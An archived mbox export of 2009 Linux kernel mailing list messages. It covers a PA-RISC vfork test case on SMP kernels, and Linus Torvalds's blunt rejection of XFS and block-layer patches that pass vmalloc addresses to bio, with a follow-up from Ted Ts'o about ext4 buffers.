Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLGMJ-0004UQ-5a
	for glka-linux-arch@lo.gmane.org; Thu, 17 Dec 2009 14:25:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764708AbZLQNZe (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 17 Dec 2009 08:25:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764709AbZLQNZe
	(ORCPT <rfc822;linux-arch-outgoing>);
	Thu, 17 Dec 2009 08:25:34 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34919 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1764708AbZLQNZd (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 17 Dec 2009 08:25:33 -0500
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NLGMG-0007O4-7V; Thu, 17 Dec 2009 13:25:32 +0000
Content-Disposition: inline
In-Reply-To: <20091217132256.GO28962@bombadil.infradead.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4886 gmane.linux.ports.parisc:2440 gmane.linux.kernel:929184
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2440>

On Thu, Dec 17, 2009 at 08:22:56AM -0500, Kyle McMartin wrote:
> Linus, any word on these? I'd really love to get jejb and hch off
> my back. :)

Yeah, users have been pretty impatiently waiting for this.


From - Thu Nov 08 21:05:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Thu, 17 Dec 2009 09:24:05 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <119aab440912170624p58d6f19fk9e6feaab11f6f1a3@mail.gmail.com>
References: <4B294F8B.1070700@gmx.de>
	 <20091216213505.DE6EE537C@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1261059863 15681 80.91.229.12 (17 Dec 2009 14:24:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 14:24:23 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca,
	James.Bottomley@hansenpartnership.com,
	dann frazier <dannf@debian.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 15:24:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLHH4-0000Np-H4
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 15:24:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764772AbZLQOYN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 09:24:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764790AbZLQOYN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 09:24:13 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:44181 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1764772AbZLQOYK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 09:24:10 -0500
Original-Received: by bwz27 with SMTP id 27so1525473bwz.21
        for <linux-parisc@vger.kernel.org>; Thu, 17 Dec 2009 06:24:05 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=cQkza7j81wkSNkL3sdBvxmpiil9QyqM0v76ZFnizcQc=;
        b=T7QGYGp4nH6pL1HpyBE/PGlfOp/ILMJCJhDA9iX+fmtKcftApSu9LspRaKIzeS9KMG
         kCIGOBxfWSBSzEhm3OKoLUwlGgIxTCddClgM3BSEonwq29AiW4BuIgXtEJiBSvs7v4xo
         +a3pTuI8kyu+jbsarVHddQl2xyVjga9D53KJ4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=HWLZlf27JefKZG6wR/4jMqvpwqqJdro2gnZbwPD7ja4ws2aIb3URH2WRIfd4wLtR4C
         M+aKBYNHTo6iZ04cafaOPYFwLRa6Wn3Io01mmFcpJWgcJgfknE9eJIBkniaBeKl0vsZ5
         JiOR+YTUYvne8j0q8LTlmS4QA+KBAm+yMukEU=
Original-Received: by 10.204.153.197 with SMTP id l5mr1436024bkw.109.1261059845110; 
	Thu, 17 Dec 2009 06:24:05 -0800 (PST)
In-Reply-To: <20091216213505.DE6EE537C@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 154c2c24f5386261
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2441
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2441>

On Wed, Dec 16, 2009 at 4:35 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> On 12/15/2009 11:21 PM, John David Anglin wrote:
>> >> I have constructed a vfork test case which shows some of the problems
>> >> I have using vfork reliably. This fails every time on my PA8700 system
>> >> running 2.6.32-rc6. It appears as though r28 (ret0) in the parent is
>> >> being corrupted.
>> >
>> > The test doesn't fail on two of my builds:
>> > Linux mx3210 2.6.31.7 #5 Wed Dec 9 22:49:53 EST 2009 parisc64
>> > Linux hiauly6 2.6.31.7 #18 Wed Dec 9 21:34:36 EST 2009 parisc
>>
>> I did tested your testcase on my c3000 too but it didn't failed for me either.
>> This was on some 2.6.32-rc candidate.
>
> I think it must be because Carlos is building SMP kernels.

Yes, I'm trying to shake out some SMP bugs.

Dan, you said that the emacs32 failure went away when you upgraded to
2.6.32 stable on the buildds. Are they running SMP kernels? Could you
try the vfork test case there?

Test case is here:
http://article.gmane.org/gmane.linux.ports.parisc/2403

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 08:16:12 -0800 (PST)
Lines: 41
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain>
References: <20091216043618.GB9104@hera.kernel.org> <20091217132256.GO28962@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1261066636 9757 80.91.229.12 (17 Dec 2009 16:17:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 16:17:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, hch@infradead.org,
	linux-arch@vger.kernel.org, Jens Axboe <jens.axboe@oracle.com>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Dec 17 17:17:08 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLJ2J-0006bT-JJ
	for glka-linux-arch@lo.gmane.org; Thu, 17 Dec 2009 17:17:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1762565AbZLQQRF (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 17 Dec 2009 11:17:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761148AbZLQQRF
	(ORCPT <rfc822;linux-arch-outgoing>);
	Thu, 17 Dec 2009 11:17:05 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:59180 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1761484AbZLQQRB (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Thu, 17 Dec 2009 11:17:01 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id nBHGGDER030510
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 17 Dec 2009 08:16:14 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id nBHGGCMH004498;
	Thu, 17 Dec 2009 08:16:12 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20091217132256.GO28962@bombadil.infradead.org>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-3.949 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4887 gmane.linux.ports.parisc:2442 gmane.linux.kernel:929239
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2442>



On Thu, 17 Dec 2009, Kyle McMartin wrote:
>
> Linus, any word on these? I'd really love to get jejb and hch off
> my back. :)

I hate them.

I don't see what the point of allowing kernel virtual addresses in bio's 
is. It's wrong. The fact that XFS does that sh*t is an XFS issue. Handle 
it there.

Fix XFS. Or convince me with some really good arguments, and make sure 
that Jens signs off on the cr*p too.

In other words, the thing I object to isn't even the new flushing thing, 
it's this idiocy:

 - save off virtual address:
	..
	bio->bi_private = data;
	..

 - do vmalloc_to_page:

	+		if (is_vmalloc_addr(data)) {
	+			flush_kernel_dcache_addr(data);
	+			page = vmalloc_to_page(data);
	+		} else
	+			page = virt_to_page(data);

WTF? Why the hell should the block layer support this kind of absolute 
crap? When has "use random kernel virtual address" ever been a valid thing 
to do for IO?

Why aren't you doing this before you submit the vmalloc range for IO?

So no. Not a way in hell do I pull this for 33. And preferably never.

		Linus

From - Thu Nov 08 21:05:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tytso@mit.edu
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 11:30:36 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <20091217163036.GE2123@thunk.org>
References: <20091216043618.GB9104@hera.kernel.org>
 <20091217132256.GO28962@bombadil.infradead.org>
 <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261067470 12946 80.91.229.12 (17 Dec 2009 16:31:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 16:31:10 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, hch@infradead.org,
	linux-arch@vger.kernel.org, Jens Axboe <jens.axboe@oracle.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Dec 17 17:31:01 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLJFi-0006Em-BE
	for glka-linux-arch@lo.gmane.org; Thu, 17 Dec 2009 17:30:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760183AbZLQQaz (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 17 Dec 2009 11:30:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757021AbZLQQaz
	(ORCPT <rfc822;linux-arch-outgoing>);
	Thu, 17 Dec 2009 11:30:55 -0500
Original-Received: from THUNK.ORG ([69.25.196.29]:41056 "EHLO thunker.thunk.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755515AbZLQQax (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Thu, 17 Dec 2009 11:30:53 -0500
Original-Received: from root (helo=closure.thunk.org)
	by thunker.thunk.org with local-esmtp   (Exim 4.50 #1 (Debian))
	id 1NLJFN-0000l4-QS; Thu, 17 Dec 2009 11:30:38 -0500
Original-Received: from tytso by closure.thunk.org with local (Exim 4.69)
	(envelope-from <tytso@thunk.org>)
	id 1NLJFN-0003jG-1A; Thu, 17 Dec 2009 11:30:37 -0500
Mail-Followup-To: tytso@mit.edu,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, hch@infradead.org,
	linux-arch@vger.kernel.org, Jens Axboe <jens.axboe@oracle.com>
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain>
User-Agent: Mutt/1.5.20 (2009-06-14)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: tytso@thunk.org
X-SA-Exim-Scanned: No (on thunker.thunk.org); SAEximRunCond expanded to false
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4888 gmane.linux.ports.parisc:2443 gmane.linux.kernel:929246
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2443>

On Thu, Dec 17, 2009 at 08:16:12AM -0800, Linus Torvalds wrote:
> 
> I hate them.
> 
> I don't see what the point of allowing kernel virtual addresses in bio's 
> is. It's wrong. The fact that XFS does that sh*t is an XFS issue. Handle 
> it there.
> 
> Fix XFS. Or convince me with some really good arguments, and make sure 
> that Jens signs off on the cr*p too.

I have a somewhat similar issue that comes up for ext4; at the moment
occasionaly we need to clone a buffer head buffer; either because the
first four bytes match the magic JBD "escape sequence", and we need to
modify the block and escape it before writing it to the journal, or
because we need to make a copy of a allocation bitmap block so we can
write a fixed copy to disk while we modify the "real" block during a
commit.  At the moment we allocate a full page, even if that means
allocating a 16k PPC page when the file system block size is 4k, or
allocating a 4k x86 page when the file system block size is 1k.

That's because apparently the iSCSI and DMA blocks assume that they
have Real Pages (tm) passed to block I/O requests, and apparently XFS
ran into problems when sending vmalloc'ed pages.  I don't know if this
is a problem if we pass the bio layer addresses coming from the SLAB
allocator, but oral tradition seems to indicate this is problematic,
although no one has given me the full chapter and verse explanation
about why this is so.

Now that I see Linus's complaint, I'm wondering if the issue is really
about kernel virtual addresses (i.e., coming from vmalloc), and not a
requirement for Real Pages (i.e., coming from the SLAB allocator as
opposed to get_free_page).  And can this be documented someplace?  I
tried looking at the bio documentation, and couldn't find anything
definitive on the subject.

Thanks,

						- Ted

From - Thu Nov 08 21:05:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Thu, 17 Dec 2009 09:45:16 -0700
Lines: 67
Approved: news@gmane.org
Message-ID: <20091217164516.GD10487@lackof.org>
References: <4B294F8B.1070700@gmx.de> <20091216213505.DE6EE537C@hiauly1.hia.nrc.ca> <119aab440912170624p58d6f19fk9e6feaab11f6f1a3@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261068331 16275 80.91.229.12 (17 Dec 2009 16:45:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 16:45:31 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Helge Deller <deller@gmx.de>, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca,
	James.Bottomley@hansenpartnership.com
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 17:45:22 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLJTd-0005Ov-HI
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 17:45:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764701AbZLQQpV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 11:45:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764802AbZLQQpU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 11:45:20 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:46015 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1764701AbZLQQpT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 11:45:19 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 6C12F33E0002;
	Thu, 17 Dec 2009 09:45:17 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id qziAJ4jBpm+w; Thu, 17 Dec 2009 09:45:16 -0700 (MST)
Original-Received: by complete.lackof.org (Postfix, from userid 1012)
	id B778D33E025E; Thu, 17 Dec 2009 09:45:16 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <119aab440912170624p58d6f19fk9e6feaab11f6f1a3@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2444
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2444>

On Thu, Dec 17, 2009 at 09:24:05AM -0500, Carlos O'Donell wrote:
> On Wed, Dec 16, 2009 at 4:35 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> >> On 12/15/2009 11:21 PM, John David Anglin wrote:
> >> >> I have constructed a vfork test case which shows some of the problems
> >> >> I have using vfork reliably. This fails every time on my PA8700 system
> >> >> running 2.6.32-rc6. It appears as though r28 (ret0) in the parent is
> >> >> being corrupted.
> >> >
> >> > The test doesn't fail on two of my builds:
> >> > Linux mx3210 2.6.31.7 #5 Wed Dec 9 22:49:53 EST 2009 parisc64
> >> > Linux hiauly6 2.6.31.7 #18 Wed Dec 9 21:34:36 EST 2009 parisc
> >>
> >> I did tested your testcase on my c3000 too but it didn't failed for me either.
> >> This was on some 2.6.32-rc candidate.
> >
> > I think it must be because Carlos is building SMP kernels.
> 
> Yes, I'm trying to shake out some SMP bugs.
> 
> Dan, you said that the emacs32 failure went away when you upgraded to
> 2.6.32 stable on the buildds. Are they running SMP kernels?

Nope. When I initially took over these buildds I tried SMP kernels and
found them to be far less stable, so we're sticking w/ UP.

That means that some emacs23 build attempts may have been on SMP, but
most were not. Kernel versions should be available in the build logs.
smp kernels should all have 'smp' in their uname output.

> Could you try the vfork test case there?

dannf@penalosa:/tmp$ cat /proc/version
Linux version 2.6.32-trunk-parisc64 (Debian 2.6.32-1) (waldi@debian.org) (gcc version 4.3.4 (GCC) ) #1 Tue Dec 8 04:07:32 UTC 2009
dannf@penalosa:/tmp$ gcc -O1 -g -o vfork-01 vfork.c
dannf@penalosa:/tmp$ gcc -O0 -g -o vfork-00 vfork.c
dannf@penalosa:/tmp$ ./vfork-01
child != 0
child is 0x10c8
dannf@penalosa:/tmp$ total 28
-rwxr-xr-x 1 dannf Debian  9333 Dec 17 16:41 vfork-00
-rwxr-xr-x 1 dannf Debian 10383 Dec 17 16:40 vfork-01
-rw-r--r-- 1 dannf Debian   380 Dec 17 16:40 vfork.c

dannf@penalosa:/tmp$ ./vfork-00 
child != 0
child is 0x1101
dannf@penalosa:/tmp$ total 28
-rwxr-xr-x 1 dannf Debian  9333 Dec 17 16:41 vfork-00
-rwxr-xr-x 1 dannf Debian 10383 Dec 17 16:40 vfork-01
-rw-r--r-- 1 dannf Debian   380 Dec 17 16:40 vfork.c

> Test case is here:
> http://article.gmane.org/gmane.linux.ports.parisc/2403
> 
> Cheers,
> Carlos.
> 

-- 
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 08:46:33 -0800 (PST)
Lines: 64
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain>
References: <20091216043618.GB9104@hera.kernel.org> <20091217132256.GO28962@bombadil.infradead.org> <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain> <20091217163036.GE2123@thunk.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1261068454 16667 80.91.229.12 (17 Dec 2009 16:47:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 16:47:34 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, hch@infradead.org,
	linux-arch@vger.kernel.org, Jens Axboe <jens.axboe@oracle.com>
To: tytso@mit.edu
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 17:47:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLJVd-0006dL-D7
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 17:47:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764845AbZLQQrY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 11:47:24 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764835AbZLQQrY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 11:47:24 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:44289 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1764802AbZLQQrX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 11:47:23 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id nBHGkYvE000300
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 17 Dec 2009 08:46:35 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id nBHGkX2D006015;
	Thu, 17 Dec 2009 08:46:33 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20091217163036.GE2123@thunk.org>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-3.95 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2445 gmane.linux.kernel:929254 gmane.linux.kernel.cross-arch:4889
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2445>



On Thu, 17 Dec 2009, tytso@mit.edu wrote:
> 
> That's because apparently the iSCSI and DMA blocks assume that they
> have Real Pages (tm) passed to block I/O requests, and apparently XFS
> ran into problems when sending vmalloc'ed pages.  I don't know if this
> is a problem if we pass the bio layer addresses coming from the SLAB
> allocator, but oral tradition seems to indicate this is problematic,
> although no one has given me the full chapter and verse explanation
> about why this is so.

kmalloc() memory should be ok. It's backed by "real pages". Doing the DMA 
translations for such pages is trivial and fundamental.

In contrast, vmalloc is pure and utter unadulterated CRAP. The pages 
may be contiguous virtually, but it makes no difference for the block 
layer, that has to be able to do IO by DMA anyway, so it has to look up 
the page translations in the page tables etc crazy sh*t.

So passing vmalloc'ed page addresses around to something that will 
eventually do a non-CPU-virtual thing on them is fundamentally insane. The 
vmalloc space is about CPU virtual addresses. Such concepts simpyl do not 
-exist- for some random block device.

> Now that I see Linus's complaint, I'm wondering if the issue is really
> about kernel virtual addresses (i.e., coming from vmalloc), and not a
> requirement for Real Pages (i.e., coming from the SLAB allocator as
> opposed to get_free_page).  And can this be documented someplace?  I
> tried looking at the bio documentation, and couldn't find anything
> definitive on the subject.

The whole "vmalloc is special" has always been true. If you want to 
treat vmalloc as normal memory, you need to look up the pages yourself. We 
have helpers for that (including helpers that populate vmalloc space from 
a page array to begin with - so you can _start_ from some array of pages 
and then lay them out virtually if you want to have a convenient CPU 
access to the array).

And this whole "vmalloc is about CPU virtual addresses" is so obviously 
and fundamentally true that I don't understand how anybody can ever be 
confused about it. The "v" in vmalloc is for "virtual" as in virtual 
memory.

Think of it like virtual user addresses. Does anybody really expect to be 
able to pass a random user address to the BIO layer?

And if you do, I would suggest that you get out of kernel programming 
pronto. You're a danger to society, and have a lukewarm IQ. I don't want 
you touching kernel code.

And no, I do _not_ want the BIO layer having to walk page tables. Not for 
vmalloc space, not for user virtual addresses.

(And don't tell me it already does. Maybe somebody sneaked it in past me, 
without me ever noticing. That wouldn't be an excuse, that would be just 
sad. Jesus wept)

			Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
